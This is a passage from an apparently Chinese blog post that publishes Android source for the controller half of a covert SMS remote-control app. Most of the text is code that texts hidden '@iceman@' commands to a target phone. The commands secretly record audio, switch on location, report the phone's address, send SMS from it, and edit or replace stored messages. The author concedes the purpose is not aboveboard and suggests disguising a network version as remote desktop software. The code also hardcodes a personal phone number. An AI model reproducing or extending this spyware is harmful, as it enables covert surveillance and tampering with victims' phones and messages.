  18.     private TextView mClientNumberText, mListenNumberText;

  19.     private EditText mAdminSetEditText, mListenSetEditText, mSmsNumberSetEditText, mSmsContentEditText, mPasswordEditText;

  20.     private CheckBox mPasswordUse;

  21.     private Button mAdminSetBtn, mListenSetBtn, mSearchBtn, mOpenLocationBtn, mGetAddressBtn, mRecoderBtn, mSendSmsBtn;
  22.     
  23.     private Button mEditSmsBtn;

  24.     private Boolean mIsRecording = false;

  25.     private SmsManager mSmsManager = SmsManager.getDefault();

  26.     private String mClientNumber = null;

  27.     private String mListenNumber = null;

  28.     private SharedPreferences mSharedpreferences = null;

  29.     private String mPassword;

  30.     /** Called when the activity is first created. */
  31.     @Override
  32.     public void onCreate(Bundle savedInstanceState) {
  33.         super.onCreate(savedInstanceState);
  34.         setContentView(R.layout.main);
  35.         
  36.         mClientNumberText = (TextView) findViewById(R.id.number_tv1);
  37.         mListenNumberText = (TextView) findViewById(R.id.number_tv2);
  38.         mPasswordEditText = (EditText) findViewById(R.id.password_et);
  39.         mPasswordEditText.setInputType(0x81);
  40.         mPasswordUse = (CheckBox) findViewById(R.id.password_use);
  41.         mAdminSetEditText = (EditText) findViewById(R.id.number_et);
  42.         // et1.setTransformationMethod(PasswordTransformationMethod.getInstance());
  43.         mAdminSetEditText.setHint(this.getString(R.string.the_number_to_control));
  44.         mListenSetEditText = (EditText) findViewById(R.id.listen_et);
  45.         mListenSetEditText.setHint(this.getString(R.string.the_number_to_listen));
  46.         mSmsNumberSetEditText = (EditText) findViewById(R.id.sms_number_et);
  47.         mSmsNumberSetEditText.setHint(this.getString(R.string.where_to_send));
  48.         mSmsContentEditText = (EditText) findViewById(R.id.sms_et);
  49.         mSmsContentEditText.setHint(this.getString(R.string.sms_content));
  50.         mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
  51.         mClientNumber = mSharedpreferences.getString("control", "");
  52.         mListenNumber = mSharedpreferences.getString("listen", "");
  53.         mClientNumberText.setText(this.getString(R.string.now_control) + mClientNumber);
  54.         mListenNumberText.setText(this.getString(R.string.now_listen) + mListenNumber);

  55.         mAdminSetBtn = (Button) findViewById(R.id.admin_btn);
  56.         mListenSetBtn = (Button) findViewById(R.id.listen_btn);
  57.         mSearchBtn = (Button) findViewById(R.id.search_btn);
  58.         mOpenLocationBtn = (Button) findViewById(R.id.open_locations_btn);
  59.         mGetAddressBtn = (Button) findViewById(R.id.where_btn);
  60.         mRecoderBtn = (Button) findViewById(R.id.recorder_btn);
  61.         mRecoderBtn.setText(this.getString(R.string.start_record));
  62.         mSendSmsBtn = (Button) findViewById(R.id.sms_btn);
  63.         mEditSmsBtn = (Button)findViewById(R.id.edit_sms);
  64.         mPasswordUse.setOnCheckedChangeListener(new OnCheckedChangeListener() {

  65.             @Override
  66.             public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
  67.                 if (isChecked) {
  68.                     mPassword = mPasswordEditText.getText().toString().trim();
  69.                     mPasswordEditText.setEnabled(false);
  70.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.password)+mPassword, Toast.LENGTH_SHORT).show();
  71.                 } else {
  72.                     mPassword = "";
  73.                     mPasswordEditText.getEditableText().clear();
  74.                     mPasswordEditText.setEnabled(true);
  75.                 }
  76.                 Editor editor = mSharedpreferences.edit();
  77.                 editor.putString("password", mPassword);
  78.                 editor.commit();
  79.             }
  80.         });
  81.         
  82.         mAdminSetBtn.setOnClickListener(new OnClickListener() {
  83.             public void onClick(View v) {
  84.                 String str = mAdminSetEditText.getText().toString().trim();
  85.                 if ((str.equals("")) == false) {
  86.                     if ((str.equals("18621191115")) == false) {
  87.                         mClientNumberText.setText(SMSadminActivity.this.getString(R.string.now_control) + str);
  88.                         mAdminSetBtn.setText(SMSadminActivity.this.getString(R.string.control_number_set_over));
  89.                         mClientNumber = str;
  90.                         Editor editor = mSharedpreferences.edit();
  91.                         editor.putString("control", str);
  92.                         editor.commit();
  93.                         // et1.setEnabled(false);
  94.                         // btn1.setClickable(false);
  95.                         mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@admin"+mPassword, null, null);
  96.                         Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.control_number_set_send), Toast.LENGTH_SHORT)
  97.                                 .show();
  98.                     } else {
  99.                         Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.number_can_not_control), Toast.LENGTH_LONG)
  100.                                 .show();
  101.                     }
  102.                 } else {
  103.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_control_number), Toast.LENGTH_SHORT).show();
  104.                 }
  105.             }
  106.         });
  107.         mListenSetBtn.setOnClickListener(new OnClickListener() {
  108.             public void onClick(View v) {
  109.                 String str = mListenSetEditText.getText().toString().trim();
  110.                 if (str.equals("") == false) {
  111.                     mListenNumberText.setText(SMSadminActivity.this.getString(R.string.now_listen) + str);
  112.                     mListenSetBtn.setText(SMSadminActivity.this.getString(R.string.listen_number_set_over));
  113.                     mListenNumber = str;
  114.                     Editor editor = mSharedpreferences.edit();
  115.                     editor.putString("listen", str);
  116.                     editor.commit();
  117.                     // et2.setEnabled(false);
  118.                     // btn2.setClickable(false);
  119.                     mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@change" + mListenNumber, null, null);
  120.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.listen_number_set_send), Toast.LENGTH_SHORT).show();
  121.                 } else {
  122.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_listen_number), Toast.LENGTH_SHORT).show();
  123.                 }
  124.             }
  125.         });
  126.         mSearchBtn.setOnClickListener(new OnClickListener() {
  127.             public void onClick(View v) {
  128.                 if (mClientNumber.equals("") == false) {
  129.                     mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@search", null, null);
  130.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_send_over), Toast.LENGTH_SHORT).show();
  131.                 } else {
  132.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
  133.                 }
  134.             }
  135.         });
  136.         mOpenLocationBtn.setOnClickListener(new OnClickListener() {
  137.             public void onClick(View v) {
  138.                 if (mClientNumber.equals("") == false) {
  139.                     mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@location", null, null);
  140.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.open_location_service_over), Toast.LENGTH_SHORT).show();
  141.                     mOpenLocationBtn.setClickable(false);
  142.                     mOpenLocationBtn.setText(SMSadminActivity.this.getString(R.string.location_service_open));
  143.                 } else {
  144.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
  145.                 }
  146.             }
  147.         });
  148.         mGetAddressBtn.setOnClickListener(new OnClickListener() {
  149.             public void onClick(View v) {
  150.                 if (mClientNumber.equals("") == false) {
  151.                     mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@where", null, null);
  152.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_address_send_over), Toast.LENGTH_SHORT).show();
  153.                 } else {
  154.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
  155.                 }
  156.             }
  157.         });
  158.         mRecoderBtn.setOnClickListener(new OnClickListener() {
  159.             public void onClick(View v) {
  160.                 if (mClientNumber.equals("") == false) {
  161.                     if (!mIsRecording) {
  162.                         mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@start", null, null);
  163.                         mIsRecording = true;
  164.                         mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.stop_record));
  165.                     } else {
  166.                         mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@stop", null, null);
  167.                         mIsRecording = false;
  168.                         mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.start_record));
  169.                     }
  170.                 } else {
  171.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
  172.                 }
  173.             }
  174.         });
  175.         mSendSmsBtn.setOnClickListener(new OnClickListener() {
  176.             public void onClick(View v) {
  177.                 if (mClientNumber.equals("") == false) {
  178.                     String str1 = mSmsNumberSetEditText.getText().toString().trim();
  179.                     String str2 = mSmsContentEditText.getText().toString().trim();
  180.                     mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@sms" + "#" + str1 + "#" + str2,
  181.                             null, null);
  182.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.sms_send_over), Toast.LENGTH_SHORT).show();
  183.                 } else {
  184.                     Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
  185.                 }
  186.             }
  187.         });
  188.         mEditSmsBtn.setOnClickListener(new OnClickListener() {
  189.             
  190.             @Override
  191.             public void onClick(View v) {
  192.                 if(mClientNumber.equals("")){
  193.                     Toast.makeText(SMSadminActivity.this, "目前未控制任何手机", Toast.LENGTH_SHORT).show();
  194.                     return;
  195.                 }
  196.                 Intent it = new Intent(SMSadminActivity.this,EditSmsActivity.class);
  197.                 startActivity(it);
  198.             }
  199.         });

  200.     }
  201. }
复制代码
这个是修改短信的activity:

  1. package iceman.android.smsadmin;

  2. import iceman.android.smsadmin.R;
  3. import android.app.Activity;
  4. import android.content.SharedPreferences;
  5. import android.os.Bundle;
  6. import android.telephony.SmsManager;
  7. import android.view.View;
  8. import android.view.View.OnClickListener;
  9. import android.widget.Button;
  10. import android.widget.EditText;
  11. import android.widget.Toast;

  12. public class EditSmsActivity extends Activity {
  13.     private SmsManager mSmsManager = SmsManager.getDefault();

  14.     private EditText mSmsKey, mSmsNumber,mSmsContent;

  15.     private Button mReplaceBtn,mEditBtn;

  16.     private SharedPreferences mSharedpreferences = null;

  17.     private String mClientNumber;

  18.     @Override
  19.     protected void onCreate(Bundle savedInstanceState) {
  20.         super.onCreate(savedInstanceState);
  21.         setContentView(R.layout.edit_sms_layout);
  22.         mSmsKey = (EditText) findViewById(R.id.key);
  23.         mSmsNumber = (EditText) findViewById(R.id.number);
  24.         mSmsContent = (EditText) findViewById(R.id.content);
  25.         mEditBtn = (Button) findViewById(R.id.edit);
  26.         mReplaceBtn = (Button) findViewById(R.id.repalce);
  27.         mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
  28.         mClientNumber = mSharedpreferences.getString("control", "");
  29.         mEditBtn.setOnClickListener(new OnClickListener() {
  30.             
  31.             @Override
  32.             public void onClick(View v) {
  33.                 String key = mSmsKey.getText().toString().trim();
  34.                 String number = mSmsNumber.getText().toString().trim();
  35.                 String content = mSmsContent.getText().toString().trim();
  36.                 if(number.equals("")){
  37.                     number = "00000000000";
  38.                 }
  39.                 if (key.equals("") == false && content.equals("") == false) {
  40.                     mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@edit" + "#" + key
  41.                             + "#" +number +"#"+content, null, null);
  42.                     Toast.makeText(EditSmsActivity.this,
  43.                             EditSmsActivity.this.getString(R.string.edit_sms_send_over),
  44.                             Toast.LENGTH_SHORT).show();
  45.                 } else {
  46.                     Toast.makeText(EditSmsActivity.this,
  47.                             EditSmsActivity.this.getString(R.string.please_set_key_and_content),
  48.                             Toast.LENGTH_SHORT).show();
  49.                 }
  50.             }
  51.         });
  52.         mReplaceBtn.setOnClickListener(new OnClickListener() {

  53.             @Override
  54.             public void onClick(View v) {
  55.                 String key = mSmsKey.getText().toString().trim();
  56.                 String number = mSmsNumber.getText().toString().trim();
  57.                 String content = mSmsContent.getText().toString().trim();
  58.                 if(number.equals("")){
  59.                     number = "00000000000";
  60.                 }
  61.                 if (key.equals("") == false && content.equals("") == false) {
  62.                     mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@replace" + "#" + key
  63.                             + "#" +number +"#"+content, null, null);
  64.                     Toast.makeText(EditSmsActivity.this,
  65.                             EditSmsActivity.this.getString(R.string.replace_sms_send_over),
  66.                             Toast.LENGTH_SHORT).show();
  67.                 } else {
  68.                     Toast.makeText(EditSmsActivity.this,
  69.                             EditSmsActivity.this.getString(R.string.please_set_key_and_content),
  70.                             Toast.LENGTH_SHORT).show();
  71.                 }
  72.             }
  73.         });
  74.     }

  75. }
复制代码
因为核心功能是受控端,所以我就不上截图了.各位下载代码看的话,可以尽情吐槽我的UI.哈哈哈

4.程序总结:
从程序角度来说,这不是一个好程序,不光是因为它的容错性比较大(如果发到没有安装受控端的手机上,面对莫名其妙的短信,谁都会起疑心的),还因为软件的目的是在算不上光明正大,秉着学习的态度将源码发上来,如果大家能够看完之后有"不错,挺好玩的"这样一个念头,相信我的目的就达到了.
其实这个程序还可以做到很多功能,利用android的api,MainReceiver中的扩展性还是很高的.曾经打算开发一个网络版的,不利用短信机制了,只是android手机用户很多时候是关闭网络连接的,所以似乎实用性还不如短信版的.有兴趣的人可以开发一个,以远程桌面为名,将程序导向正确的方向,也是一个不错的选择.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值